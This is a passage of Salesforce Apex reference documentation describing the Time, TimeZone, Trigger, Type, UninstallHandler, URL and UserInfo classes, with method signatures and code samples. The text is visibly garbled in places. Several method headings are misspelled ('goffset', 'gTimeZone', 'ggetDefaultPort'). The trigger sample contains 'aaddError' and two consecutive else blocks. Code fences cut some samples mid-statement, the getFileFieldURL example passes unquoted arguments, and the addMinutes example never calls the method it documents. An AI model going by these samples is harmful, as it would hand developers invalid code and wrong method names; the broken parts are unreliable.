
addHours(additionalHours)
Adds the specified number of hours to a Time.

**Signature**

```java
public Time addHours(Integer additionalHours)
```

**Parameters**

- `additionalHours`
  Type: Integer

**Return Value**

Type: Time

**Example**

```java
Time myTime = Time.newInstance(1, 2, 3, 4);
Time expected = Time.newInstance(4, 2, 3, 4);
System.assertEquals(expected, myTime.addHours(3));
```

addMilliseconds(additionalMilliseconds)
Adds the specified number of milliseconds to a Time.

**Signature**

```java
public Time addMilliseconds(Integer additionalMilliseconds)
```

**Parameters**

- `additionalMilliseconds`
  Type: Integer

**Return Value**

Type: Time
Example
```
Time myTime = Time.newInstance(1, 2, 3, 0);
Time expected = Time.newInstance(1, 2, 4, 400);
System.assertEquals(expected, myTime.addMilliseconds(1400));
```

addMinutes (additionalMinutes)

Adds the specified number of minutes to a Time.

Signature
```
public Time addMinutes(Integer additionalMinutes)
```

Parameters
```
additionalMinutes
  Type: Integer
```

Return Value
```
Type: Time
```

Example
```
Time myTime = Time.newInstance(18, 30, 2, 20);
Integer myMinutes = myTime.minute();
myMinutes = myMinutes + 5;
System.assertEquals(myMinutes, 35);
```

addSeconds (additionalSeconds)

Adds the specified number of seconds to a Time.

Signature
```
public Time addSeconds(Integer additionalSeconds)
```

Parameters
```
additionalSeconds
  Type: Integer
```

Return Value
```
Type: Time
```
Example

```java
Time myTime = Time.newInstance(1, 2, 55, 0);
Time expected = Time.newInstance(1, 3, 5, 0);
System.assertEquals(expected, myTime.addSeconds(10));
```

`hour()`
Returns the hour component of a Time.

**Signature**

```java
public Integer hour()
```

**Return Value**
Type: `Integer`

**Example**

```java
Time myTime = Time.newInstance(18, 30, 2, 20);
myTime = myTime.addHours(2);
Integer myHour = myTime.hour();
System.assertEquals(myHour, 20);
```

`millisecond()`
Returns the millisecond component of a Time.

**Signature**

```java
public Integer millisecond()
```

**Return Value**
Type: `Integer`

**Example**

```java
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(926, myTime.millisecond());
```

`minute()`
Returns the minute component of a Time.

**Signature**

```java
public Integer minute()
```
Return Value
Type: Integer

Example
```
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(14, myTime.minute());
```

newInstance(hour, minutes, seconds, milliseconds)
Constructs a Time from Integer representations of the specified hour, minutes, seconds, and milliseconds.

Signature
```
public static Time newInstance(Integer hour, Integer minutes, Integer seconds, Integer milliseconds)
```

Parameters
- hour
  Type: Integer
- minutes
  Type: Integer
- seconds
  Type: Integer
- milliseconds
  Type: Integer

Return Value
Type: Time

Example
The following example creates a time of 18:30:2:20.
```
Time myTime =
Time.newInstance(18, 30, 2, 20);
```

second()
Returns the second component of a Time.

Signature
```
public Integer second()
```
Return Value
Type: Integer

Example
```
Time myTime = Time.newInstance(3, 14, 15, 926);
System.assertEquals(15, myTime.second());
```

TimeZone Class
Represents a time zone. Contains methods for creating a new time zone and obtaining time zone properties, such as the time zone ID, offset, and display name.

Namespace
System

Usage
You can use the methods in this class to get properties of a time zone, such as the properties of the time zone returned by UserInfo.getTimeZone, or the time zone returned by getTimeZone of this class.

Example
This example shows how to get properties of the current user’s time zone and displays them to the debug log.
```
TimeZone tz = UserInfo.getTimeZone();
System.debug('Display name: ' + tz.getDisplayName());
System.debug('ID: ' + tz.getID());
// During daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,10,23,12,0,0)));
// Not during daylight saving time for the America/Los_Angeles time zone
System.debug('Offset: ' + tz.getOffset(DateTime.newInstance(2012,11,23,12,0,0)));
System.debug('String format: ' + tz.toString());
```

The output of this sample varies based on the user’s time zone. This is an example output if the user’s time zone is America/Los_Angeles. For this time zone, daylight saving time is -7 hours from GMT (-25200000 milliseconds) and standard time is -8 hours from GMT (-28800000 milliseconds).

Display name: Pacific Standard Time
ID: America/Los_Angeles
Offset: -25200000
Offset: -28800000
String format: America/Los_Angeles

This second example shows how to create a time zone for the New York time zone and get the offset of this time zone to the GMT time zone. The example uses two dates to get the offset from. One date is before DST, and one is after DST. In 2000, DST ended on Sunday,
October 29 for the New York time zone. Because the date occurs after DST ends, the offset on the first date is –5 hours to GMT. In 2012, DST ended on Sunday, November 4. Because the date is within DST, the offset on the second date is –4 hours.

```java
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');

// Create a date before the 2007 shift of DST into November
DateTime dtpre = DateTime.newInstanceGMT(2000, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpre)); // -18000000 (= -5 hours = EST)

// Create a date after the 2007 shift of DST into November
DateTime dtpost = DateTime.newInstanceGMT(2012, 11, 1, 0, 0, 0);
system.debug(tz.getOffset(dtpost)); // -14400000 (= -4 hours = EDT)
```

This next example is similar to the previous one except that it gets the offset around the boundary of DST. In 2014, DST ended on Sunday, November 2 at 2:00 AM local time for the New York time zone. The first offset is obtained right before DST ends, and the second offset is obtained right after DST ends. The dates are created by using the `DateTime.newInstanceGMT` method. This method expects the passed-in date values to be based on the GMT time zone.

```java
// Get the New York time zone
Timezone tz = Timezone.getTimeZone('America/New_York');

// Before DST ends
DateTime dtpre = DateTime.newInstanceGMT(2014, 11, 2, 5, 59, 59); // 1:59:59AM local
system.debug(tz.getOffset(dtpre)); // -14400000 (= -4 hours = still on DST)

// After DST ends
DateTime dtpost = DateTime.newInstanceGMT(2014, 11, 2, 6, 0, 0); // 1:00:00AM local
system.debug(tz.getOffset(dtpost)); // -18000000 (= -5 hours = back one hour)
```

**TimeZone Methods**

The following are methods for `TimeZone`.

**IN THIS SECTION:**

- `getDisplayName()`
  Returns this time zone’s display name.

- `getID()`
  Returns this time zone’s ID.

- `getOffset(date)`
  Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.

- `getTimeZone(timeZoneIdString)`
  Returns the time zone corresponding to the specified time zone ID.

- `toString()`
  Returns the string representation of this time zone.

**getDisplayName()**

Returns this time zone’s display name.
Signature
public String getDisplayName()

Return Value
Type: String

getID()
Returns this time zone’s ID.

Signature
public String getID()

Return Value
Type: String

goffset(date)
Returns the time zone offset, in milliseconds, of the specified date to the GMT time zone.

Signature
public Integer getOffset(Datetime date)

Parameters
date
Type: Datetime
The date argument is the date and time to evaluate.

Return Value
Type: Integer

Usage
Note: The returned offset is adjusted for daylight saving time if the date argument falls within daylight saving time for this time zone.

gTimeZone(timeZoneIdString)
Returns the time zone corresponding to the specified time zone ID.

Signature
public static TimeZone getTimeZone(String timeZoneIdString)
Parameters

timeZoneIdString
  Type: String
  The time zone values you can use for the Id argument are any valid time zone values that the Java TimeZone class supports.

Return Value
  Type: TimeZone

Example

TimeZone tz = TimeZone.getTimeZone('America/Los_Angeles');
System.assertEquals('Pacifc Standard Time',
  tz.getDisplayName());

toString()
Returns the string representation of this time zone.

Signature
  public String toString()

Return Value
  Type: String

Trigger Class

Use the Trigger class to access run-time context information in a trigger, such as the type of trigger or the list of sObject records that the trigger operates on.

Namespace
  System

Trigger Context Variables

The Trigger class provides the following context variables.

<table>
<thead>
<tr>
<th>Variable</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>isExecuting</td>
<td>Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service, or an executeanonymous() API call.</td>
</tr>
<tr>
<td>isInsert</td>
<td>Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td>Variable</td>
<td>Usage</td>
</tr>
<tr>
<td>--------------</td>
<td>----------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td><code>isUpdate</code></td>
<td>Returns <code>true</code> if this trigger was fired due to an update operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td><code>isDelete</code></td>
<td>Returns <code>true</code> if this trigger was fired due to a delete operation, from the Salesforce user interface, Apex, or the API.</td>
</tr>
<tr>
<td><code>isBefore</code></td>
<td>Returns <code>true</code> if this trigger was fired before any record was saved.</td>
</tr>
<tr>
<td><code>isAfter</code></td>
<td>Returns <code>true</code> if this trigger was fired after all records were saved.</td>
</tr>
<tr>
<td><code>isUndelete</code></td>
<td>Returns <code>true</code> if this trigger was fired after a record is recovered from the Recycle Bin (that is, after an undelete operation from the Salesforce user interface, Apex, or the API.)</td>
</tr>
<tr>
<td><code>new</code></td>
<td>Returns a list of the new versions of the sObject records. Note that this sObject list is only available in <code>insert</code> and <code>update</code> triggers, and the records can only be modified in <code>before</code> triggers.</td>
</tr>
<tr>
<td><code>newMap</code></td>
<td>A map of IDs to the new versions of the sObject records. Note that this map is only available in <code>before update</code>, <code>after insert</code>, and <code>after update</code> triggers.</td>
</tr>
<tr>
<td><code>old</code></td>
<td>Returns a list of the old versions of the sObject records. Note that this sObject list is only available in <code>update</code> and <code>delete</code> triggers.</td>
</tr>
<tr>
<td><code>oldMap</code></td>
<td>A map of IDs to the old versions of the sObject records. Note that this map is only available in <code>update</code> and <code>delete</code> triggers.</td>
</tr>
<tr>
<td><code>size</code></td>
<td>The total number of records in a trigger invocation, both old and new.</td>
</tr>
</tbody>
</table>

**Note:** If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set to `null` in the `new`, `newMap`, `old`, and `oldMap` trigger context variables.

**Example**

For example, in this simple trigger, `Trigger.new` is a list of sObjects and can be iterated over in a `for` loop, or used as a bind variable in the `IN` clause of a SOQL query.

```java
Trigger simpleTrigger on Account (after insert) {
    for (Account a : Trigger.new) {
        // Iterate over each sObject
    }

    // This single query finds every contact that is associated with any of the triggering accounts. Note that although Trigger.new is a collection of records, when used as a bind variable in a SOQL query, Apex automatically transforms the list of records into a list of corresponding Ids.
    Contact[] cons = [SELECT LastName FROM Contact
```
WHERE AccountId IN :Trigger.new;
}

This trigger uses Boolean context variables like `Trigger.isBefore` and `Trigger.isDelete` to define code that only executes for specific trigger conditions:

```apex
trigger myAccountTrigger on Account(before delete, before insert, before update, after delete, after insert, after update) {
    if (Trigger.isBefore) {
        if (Trigger.isDelete) {
            // In a before delete trigger, the trigger accesses the records that will be deleted with the Trigger.old list.
            for (Account a : Trigger.old) {
                if (a.name != 'okToDelete') {
                    aaddError('You can\'t delete this record!');
                }
            }
        } else {
            // In before insert or before update triggers, the trigger accesses the new records with the Trigger.new list.
            for (Account a : Trigger.new) {
                if (a.name == 'bad') {
                    a.name.addError('Bad name');
                }
            }
        }
    } else {
        // If the trigger is not a before trigger, it must be an after trigger.
    } else {
        if (Trigger.isInsert) {
            for (Account a : Trigger.new) {
                System.assertEquals('xxx', a.accountNumber);
                System.assertEquals('industry', a.industry);
                System.assertEquals(100, a.numberofemployees);
                System.assertEquals(100.0, a.annualrevenue);
                a.accountNumber = 'yyy';
            }
        } else {
            List<Contact> contacts = new List<Contact>();
            for (Account a : Trigger.new) {
                if(a.Name == 'makeContact') {
                    contacts.add(new Contact (LastName = a.Name, AccountId = a.Id));
                }
            }
            insert contacts;
        }
    }
}
```

**Type Class**

Contains methods for getting the Apex type that corresponds to an Apex class and for instantiating new types.
Namespace

System

Usage

Use the `forName` methods to retrieve the type of an Apex class, which can be a built-in or a user-defined class. Also, use the `newInstance` method if you want to instantiate a Type that implements an interface and call its methods while letting someone else, such as a subscriber of your package, provide the methods' implementations.

Example: Instantiating a Type Based on Its Name

The following sample shows how to use the Type methods to instantiate a Type based on its name. A typical application of this scenario is when a package subscriber provides a custom implementation of an interface that is part of an installed package. The package can get the name of the class that implements the interface through a custom setting in the subscriber's org. The package can then instantiate the type that corresponds to this class name and invoke the methods that the subscriber implemented.

In this sample, `Vehicle` represents the interface that the `VehicleImpl` class implements. The last class contains the code sample that invokes the methods implemented in `VehicleImpl`.

This is the `Vehicle` interface.

```plaintext
global interface Vehicle {
    Long getMaxSpeed();
    String getType();
}
```

This is the implementation of the `Vehicle` interface.

```plaintext
global class VehicleImpl implements Vehicle {
    global Long getMaxSpeed() { return 100; }
    global String getType() { return 'Sedan'; }
}
```

The method in this class gets the name of the class that implements the `Vehicle` interface through a custom setting value. It then instantiates this class by getting the corresponding type and calling the `newInstance` method. Next, it invokes the methods implemented in `VehicleImpl`. This sample requires that you create a public list custom setting named `CustomImplementation` with a text field named `className`. Create one record for this custom setting with a data set name of `Vehicle` and a class name value of `VehicleImpl`.

```plaintext
public class CustomerImplInvocationClass {
    public static void invokeCustomImpl() {
        // Get the class name from a custom setting.
        // This class implements the Vehicle interface.
        CustomImplementation__c cs = CustomImplementation__c.getInstance('Vehicle');

        // Get the Type corresponding to the class name
        Type t = Type.forName(cs.className__c);

        // Instantiate the type.
        // The type of the instantiated object
        // is the interface.
        Vehicle v = (Vehicle)t.newInstance();
    }
}
```
// Call the methods that have a custom implementation
System.debug('Max speed: ' + v.getMaxSpeed());
System.debug('Vehicle type: ' + v.getType());
}

Class Property

The class property returns the System.Type of the type it is called on. It is exposed on all Apex built-in types including primitive data types and collections, sObject types, and user-defined classes. This property can be used instead of forName methods.

Call this property on the type name. For example:

```java
System.Type t = Integer.class;
```

You can use this property for the second argument of JSON.deserialize, deserializeStrict, JSONParser.readValueAs, and readValueAsStrict methods to get the type of the object to deserialize. For example:

```java
Decimal n = (Decimal)JSON.deserialize('100.1', Decimal.class);
```

Type Methods

The following are methods for Type.

**IN THIS SECTION:**

- `equals(typeToCompare)`
  - Returns true if the specified type is equal to the current type; otherwise, returns false.
- `forName(fullyQualifiedName)`
  - Returns the type that corresponds to the specified fully qualified class name.
- `forName(namespace, name)`
  - Returns the type that corresponds to the specified namespace and class name.
- `getName()`
  - Returns the name of the current type.
- `hashCode()`
  - Returns a hash code value for the current type.
- `newInstance()`
  - Creates an instance of the current type and returns this new instance.
- `toString()`
  - Returns a string representation of the current type, which is the type name.

**equals(typeToCompare)**

Returns true if the specified type is equal to the current type; otherwise, returns false.
Signature

public Boolean equals(Object typeToCompare)

Parameters

typeToCompare
  Type: Object
  The type to compare with the current type.

Return Value
Type: Boolean

Example

Type t1 = Account.class;
Type t2 = Type.forName('Account');
System.assert(t1.equals(t2));

forName(fullyQualifiedName)

Returns the type that corresponds to the specified fully qualified class name.

Signature

public static System.Type forName(String fullyQualifiedName)

Parameters

fullyQualifiedName
  Type: String
  The fully qualified name of the class to get the type of. The fully qualified class name contains the namespace name, for example, MyNamespace.ClassName.

Return Value
Type: System.Type

Usage

Note:
- This method returns null if called outside a managed package to get the type of a non-global class in a managed package. This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version 27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
- When called from an installed managed package to get the name of a local type in an organization with no defined namespace, the forName(fullyQualifiedName) method returns null. Instead, use the forName(namespace, name) method and specify an empty string or null for the namespace argument.
**forName(namespace, name)**
Returns the type that corresponds to the specified namespace and class name.

**Signature**
```
public static System.Type forName(String namespace, String name)
```

**Parameters**
- **namespace**
  - Type: **String**
  - The namespace of the class. If the class doesn’t have a namespace, set the `namespace` argument to `null` or an empty string.
- **name**
  - Type: **String**
  - The name of the class.

**Return Value**
Type: **System.Type**

**Usage**

- **Note:**
  - This method returns `null` if called outside a managed package to get the type of a non-global class in a managed package. This is because the non-global class is not visible outside the managed package. For Apex saved using Salesforce API version 27.0 and earlier, this method does return the corresponding class type for the non-global managed package class.
  - Use this method instead of `forName(fullyQualifiedName)` if it will be called from a managed package installed in an organization with no defined namespace. To get the name of a local type, set the namespace argument to an empty string or `null`. For example, `Type t = Type.forName('', 'ClassName');`.

**Example**
This example shows how to get the type that corresponds to the `ClassName` class and the `MyNamespace` namespace.
```
Type myType =
    Type.forName('MyNamespace', 'ClassName');
```

**getName()**
Returns the name of the current type.

**Signature**
```
public String getName()
```

**Return Value**
Type: **String**
Example
This example shows how to get a Type’s name. It first obtains a Type by calling `forName`, then calls `getName` on the Type object.

```java
Type t = Type.forName('MyClassName');
String typeName = t.getName();
System.assertEquals('MyClassName', typeName);
```

**hashCode()**
Returns a hash code value for the current type.

**Signature**
`public Integer hashCode()`

**Return Value**
Type: Integer

**Usage**
The returned hash code value corresponds to the type name hash code that `String.hashCode` returns.

**newInstance()**
Creates an instance of the current type and returns this new instance.

**Signature**
`public Object newInstance()`

**Return Value**
Type: Object

**Usage**
Because `newInstance` returns the generic object type, you should cast the return value to the type of the variable that will hold this value.

This method enables you to instantiate a Type that implements an interface and call its methods while letting someone else provide the methods’ implementation. For example, a package developer can provide an interface that a subscriber who installs the package can implement. The code in the package calls the subscriber’s implementation of the interface methods by instantiating the subscriber’s Type.

**Note:** Calling this method on a type corresponding to a class that has a private no-argument constructor results in a `System.TypeException`, as expected because the type can’t be instantiated. For Apex saved using Salesforce API version 28.0 and earlier, this method returns an instance of the class instead.
Example

This example shows how to create an instance of a Type. It first gets a Type by calling `forName` with the name of a class (`ShapeImpl`), then calls `newInstance` on this Type object. The `newObj` instance is declared with the interface type (`Shape`) that the `ShapeImpl` class implements. The return value of the `newInstance` method is cast to the `Shape` type.

```
Type t = Type.forName('ShapeImpl');
Shape newObj = (Shape)t.newInstance();
```

toString()

Returns a string representation of the current type, which is the type name.

Signature

```java
public String toString()
```

Return Value

Type: `String`

Usage

This method returns the same value as `getName`. `String.valueOf` and `System.debug` use this method to convert their Type argument into a String.

Example

This example calls `toString` on the Type corresponding to a list of Integers.

```
Type t = List<Integer>.class;
String s = t.toString();
System.assertEquals('List<Integer>', s);
```

UninstallHandler Interface

Enables custom code to run after a managed package is uninstalled.

Namespace

`System`

Usage

App developers can implement this interface to specify Apex code that runs automatically after a subscriber uninstalls a managed package. This makes it possible to perform cleanup and notification tasks based on details of the subscriber’s organization.
The uninstall script is subject to default governor limits. It runs as a special system user that represents your package, so all operations performed by the script will appear to be done by your package. You can access this user by using UserInfo. You will only see this user at runtime, not while running tests.

If the script fails, the uninstall continues but none of the changes performed by the script are committed. Any errors in the script are emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the uninstall details will be unavailable.

The uninstall script has the following restrictions. You can’t use it to initiate batch, scheduled, and future jobs, to access Session IDs, or to perform callouts.

The UninstallHandler interface has a single method called onUninstall, which specifies the actions to be performed on uninstall.

```java
global interface UninstallHandler {
    void onUninstall(UninstallContext context);
}
```

The onUninstall method takes a context object as its argument, which provides the following information.

- The org ID of the organization in which the uninstall takes place.
- The user ID of the user who initiated the uninstall.

The context argument is an object whose type is the UninstallContext interface. This interface is automatically implemented by the system. The following definition of the UninstallContext interface shows the methods you can call on the context argument.

```java
global interface UninstallContext {
    ID organizationId();
    ID uninstallerId();
}
```

**UninstallHandler Methods**

The following are methods for UninstallHandler.

**onUninstall(context)**

Specifies the actions to be performed on uninstall.

**Signature**

```java
public Void onUninstall(UninstallContext context)
```
UninstallHandler Example Implementation

Example of an Uninstall Script

The sample uninstall script below performs the following actions on package uninstall.

- Inserts an entry in the feed describing which user did the uninstall and in which organization
- Creates and sends an email message confirming the uninstall to that user

```java
global class UninstallClass implements UninstallHandler {
    global void onUninstall(UninstallContext ctx) {
        FeedItem feedPost = new FeedItem();
        feedPost.parentId = ctx.uninstallerID();
        feedPost.body = 'Thank you for using our application!';
        insert feedPost;

        User u = [Select Id, Email from User where Id =:ctx.uninstallerID()];
        String toAddress= u.Email;
        String[] toAddresses = new String[] {toAddress};
        Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage();
        mail.setToAddresses(toAddresses);
        mail.setReplyTo('support@package.dev');
        mail.setSenderDisplayName('My Package Support');
        mail.setSubject('Package uninstall successful');
        mail.setPlainTextBody('Thanks for uninstalling the package.');
        Messaging.sendEmail(new Messaging.Email[] { mail });
    }
}
```

You can test an uninstall script using the `testUninstall` method of the `Test` class. This method takes as its argument a class that implements the `UninstallHandler` interface.

```java
@isTest
static void testUninstallScript() {
    Id UninstallerId = UserInfo.getUserId();
    List<FeedItem> feedPostsBefore =
        [SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
    Test.testUninstall(new UninstallClass());
    List<FeedItem> feedPostsAfter =
        [SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY];
    System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(),
        'Post to uninstaller failed.');
}
```
**URL Class**

Represents a uniform resource locator (URL) and provides access to parts of the URL. Enables access to the Salesforce instance URL.

**Namespace**

System

**Usage**

Use the methods of the System.URL class to create links to objects in your organization. Such objects can be files, images, logos, or records that you want to include in external emails, in activities, or in Chatter posts. For example, you can create a link to a file uploaded as an attachment to a Chatter post by concatenating the Salesforce base URL with the file ID, as shown in the following example:

```java
// Get a file uploaded through Chatter.
ContentDocument doc = [SELECT Id FROM ContentDocument
    WHERE Title = 'myfile'];
// Create a link to the file.
String fullFileURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + doc.id;
system.debug(fullFileURL);
```

The following example creates a link to a Salesforce record. The full URL is created by concatenating the Salesforce base URL with the record ID.

```java
Account acct = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1];
String fullRecordURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + acct.Id;
```

**Example**

In this example, the base URL and the full request URL of the current Salesforce server instance are retrieved. Next, a URL pointing to a specific account object is created. Finally, components of the base and full URL are obtained. This example prints out all the results to the debug log output.

```java
// Create a new account called Acme that we will create a link for later.
Account myAccount = new Account(Name='Acme');
insert myAccount;

// Get the base URL.
String sfdcBaseUrl = URL.getSalesforceBaseUrl().toExternalForm();
System.debug('Base URL: ' + sfdcBaseUrl);

// Get the URL for the current request.
String currentRequestURL = URL.getCurrentRequestUrl().toExternalForm();
System.debug('Current request URL: ' + currentRequestURL);

// Create the account URL from the base URL.
String accountURL = URL.getSalesforceBaseUrl().toExternalForm() + '/' + myAccount.Id;
System.debug('URL of a particular account: ' + accountURL);
```
// Get some parts of the base URL.
System.debug('Host: ' + URL.getSalesforceBaseUrl().getHost());
System.debug('Protocol: ' + URL.getSalesforceBaseUrl().getProtocol());

// Get the query string of the current request.
System.debug('Query: ' + URL.getCurrentRequestUrl().getQuery());

IN THIS SECTION:

URL Constructors

URL Methods

URL Constructors

The following are constructors for URL.

IN THIS SECTION:

Url(spec)

Creates a new instance of the URL class using the specified string representation of the URL.

Url(context, spec)

Creates a new instance of the URL class by parsing the specified spec within the specified context.

Url(protocol, host, file)

Creates a new instance of the URL class using the specified protocol, host, and file on the host. The default port for the specified protocol is used.

Url(protocol, host, port, file)

Creates a new instance of the URL class using the specified protocol, host, port, and file on the host.

Url(spec)

Creates a new instance of the URL class using the specified string representation of the URL.

Signature

public Url(String spec)

Parameters

spec

Type: String

The string to parse as a URL.

Url(context, spec)

Creates a new instance of the URL class by parsing the specified spec within the specified context.
Signature

```java
public Url(Url context, String spec)
```

Parameters

- **context**
  - Type: [URL](#) on page 2344
  - The context in which to parse the specification.

- **spec**
  - Type: String
  - The string to parse as a URL.

Usage

The new URL is created from the given context URL and the spec argument as described in RFC2396 "Uniform Resource Identifiers: Generic Syntax":

```xml
<scheme>://<authority>/<path>?<query>#<fragment>
```

For more information about the arguments of this constructor, see the corresponding `URL(java.net.URL, java.lang.String)` constructor for Java.

**Url(protocol, host, file)**

Creates a new instance of the [URL](#) class using the specified protocol, host, and file on the host. The default port for the specified protocol is used.

Signature

```java
public Url(String protocol, String host, String file)
```

Parameters

- **protocol**
  - Type: String
  - The protocol name for this URL.

- **host**
  - Type: String
  - The host name for this URL.

- **file**
  - Type: String
  - The file name for this URL.

**Url(protocol, host, port, file)**

Creates a new instance of the [URL](#) class using the specified protocol, host, port, and file on the host.
Signature

```
public Url(String protocol, String host, Integer port, String file)
```

Parameters

- **protocol**
  - Type: String
  - The protocol name for this URL.

- **host**
  - Type: String
  - The host name for this URL.

- **port**
  - Type: Integer
  - The port number for this URL.

- **file**
  - Type: String
  - The file name for this URL.

URL Methods

The following are methods for `URL`.

**IN THIS SECTION:**

- **getAuthority()**
  - Returns the authority portion of the current URL.
- **getCurrentRequestUrl()**
  - Returns the URL of an entire request on a Salesforce instance.
- **getDefaultPort()**
  - Returns the default port number of the protocol associated with the current URL.
- **getFile()**
  - Returns the file name of the current URL.
- **getFileFieldURL(entityId, fieldName)**
  - Returns the download URL for a file attachment.
- **getHost()**
  - Returns the host name of the current URL.
- **getPath()**
  - Returns the path portion of the current URL.
- **getPort()**
  - Returns the port of the current URL.
- **getProtocol()**
  - Returns the protocol name of the current URL, such as, https.
getQuery()
Returns the query portion of the current URL.

getRef()
Returns the anchor of the current URL.

getSalesforceBaseUrl()
Returns the URL of the Salesforce instance.

getUserInfo()
Gets the UserInfo portion of the current URL.

sameFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.

toExternalForm()
Returns a string representation of the current URL.

getAuthority()
Returns the authority portion of the current URL.

**Signature**

```
public String getAuthority()
```

**Return Value**

*Type: String*

getCurrentRequestUrl()
Returns the URL of an entire request on a Salesforce instance.

**Signature**

```
public static System.URL getCurrentRequestUrl()
```

**Return Value**

*Type: System.URL*

**Usage**

An example of a URL for an entire request is `https://na1.salesforce.com/apex/myVfPage.apexp`.

ggetDefaultPort()
Returns the default port number of the protocol associated with the current URL.

**Signature**

```
public Integer getDefaultPort()
```
**Return Value**
Type: Integer

**Usage**
Returns -1 if the URL scheme or the stream protocol handler for the URL doesn’t define a default port number.

**getFile()**
Returns the file name of the current URL.

**Signature**
```java
public String getFile()
```

**Return Value**
Type: String

**getFileFieldURL(entityId, fieldName)**
Returns the download URL for a file attachment.

**Signature**
```java
public static String getFileFieldURL(String entityId, String fieldName)
```

**Parameters**
- **entityId**
  Type: String
  Specifies the ID of the entity that holds the file data.
- **fieldName**
  Type: String
  Specifies the API name of a file field component, such as AttachmentBody.

**Return Value**
Type: String

**Usage**
Example:

**Example**
```java
String fileURL =
    URL.getFileFieldURL(
        2349,
        AttachmentBody
    );
```
getHost() 
Returns the host name of the current URL.

Signature 
public String getHost() 

Return Value 
Type: String

getPath() 
Returns the path portion of the current URL.

Signature 
public String getPath() 

Return Value 
Type: String

getPort() 
Returns the port of the current URL.

Signature 
public Integer getPort() 

Return Value 
Type: Integer

getProtocol() 
Returns the protocol name of the current URL, such as, https.

Signature 
public String getProtocol() 

Return Value 
Type: String
**getQuery()**
Returns the query portion of the current URL.

**Signature**
```
public String getQuery()
```

**Return Value**
Type: String

**Usage**
Returns `null` if no query portion exists.

**getRef()**
Returns the anchor of the current URL.

**Signature**
```
public String getRef()
```

**Return Value**
Type: String

**Usage**
Returns `null` if no query portion exists.

**getSalesforceBaseUrl()**
Returns the URL of the Salesforce instance.

**Signature**
```
public static System.URL getSalesforceBaseUrl()
```

**Return Value**
Type: System.URL

**Usage**
An example of an instance URL is `https://na1.salesforce.com`.

**getUserInfo()**
Gets the UserInfo portion of the current URL.
Signature
public String getUserInfo()

Return Value
Type: String

Usage
Returns null if no UserInfo portion exists.

sameFile(URLToCompare)
Compares the current URL with the specified URL object, excluding the fragment component.

Signature
public Boolean sameFile(System.URL URLToCompare)

Parameters

URLToCompare
Type: System.URL

Return Value
Type: Boolean

Returns true if both URL objects reference the same remote resource; otherwise, returns false.

Usage
For more information about the syntax of URIs and fragment components, see RFC3986.

toExternalForm()
Returns a string representation of the current URL.

Signature
public String toExternalForm()

Return Value
Type: String

UserInfo Class
Contains methods for obtaining information about the context user.
Namespace

System

UserInfo Methods

The following are methods for UserInfo. All methods are static.

IN THIS SECTION:

- `getDefaultCurrency()`
  Returns the context user’s default currency code for multiple currency organizations or the organization’s currency code for single currency organizations.

- `getFirstName()`
  Returns the context user’s first name

- `getLanguage()`
  Returns the context user’s language

- `getLastName()`
  Returns the context user’s last name

- `getLocale()`
  Returns the context user’s locale.

- `getName()`
  Returns the context user’s full name. The format of the name depends on the language preferences specified for the organization.

- `getOrganizationId()`
  Returns the context organization’s ID.

- `getOrganizationName()`
  Returns the context organization’s company name.

- `getProfileId()`
  Returns the context user’s profile ID.

- `getSessionId()`
  Returns the session ID for the current session.

- `getTimeZone()`
  Returns the current user’s local time zone.

- `getUiTheme()`
  Returns the default organization theme. Use `getUiThemeDisplayed` to determine the theme actually displayed to the current user.

- `getUiThemeDisplayed()`
  Returns the theme being displayed for the current user.

- `getUserEmail()`
  Returns the current user’s email address.

- `getUserId()`
  Returns the context user’s ID
`getUserName()`  
Returns the context user's login name.

`getUserRole()`  
Returns the context user's role ID.

`getUserType()`  
Returns the context user's type.

`isCurrentUserLicensed(namespace)`  
Returns `true` if the context user has a license to the managed package denoted by the namespace. Otherwise, returns `false`.

`isMultiCurrencyOrganization()`  
Specifies whether the organization uses multiple currencies.

`getDefaultCurrency()`  
Returns the context user's default currency code for multiple currency organizations or the organization's currency code for single currency organizations.

**Signature**

```java
public static String getDefaultCurrency()
```

**Return Value**

Type: `String`

**Usage**

**:warning: Note:** For Apex saved using SalesforceAPI version 22.0 or earlier, `getDefaultCurrency` returns `null` for single currency organizations.

`getFirstName()`  
Returns the context user's first name.

**Signature**

```java
public static String getFirstName()
```

**Return Value**

Type: `String`

`getLanguage()`  
Returns the context user's language.

**Signature**

```java
public static String getLanguage()
```
Return Value
Type: String

**getLastName()**
Returns the context user’s last name

**Signature**
```java
public static String getLastName()
```

Return Value
Type: String

**getLocale()**
Returns the context user’s locale.

**Signature**
```java
public static String getLocale()
```

Return Value
Type: String

**Example**
```java
String result = UserInfo.getLocale();
System.assertEquals('en_US', result);
```

**getName()**
Returns the context user’s full name. The format of the name depends on the language preferences specified for the organization.

**Signature**
```java
public static String getName()
```

Return Value
Type: String

**Usage**
The format is one of the following:
- FirstName LastName
- LastName, FirstName
**getOrganizationId()**

Returns the context organization’s ID.

**Signature**

```java
public static String getOrganizationId()
```

**Return Value**

Type: String

---

**getOrganizationName()**

Returns the context organization's company name.

**Signature**

```java
public static String getOrganizationName()
```

**Return Value**

Type: String

---

**getProfileId()**

Returns the context user’s profile ID.

**Signature**

```java
public static String getProfileId()
```

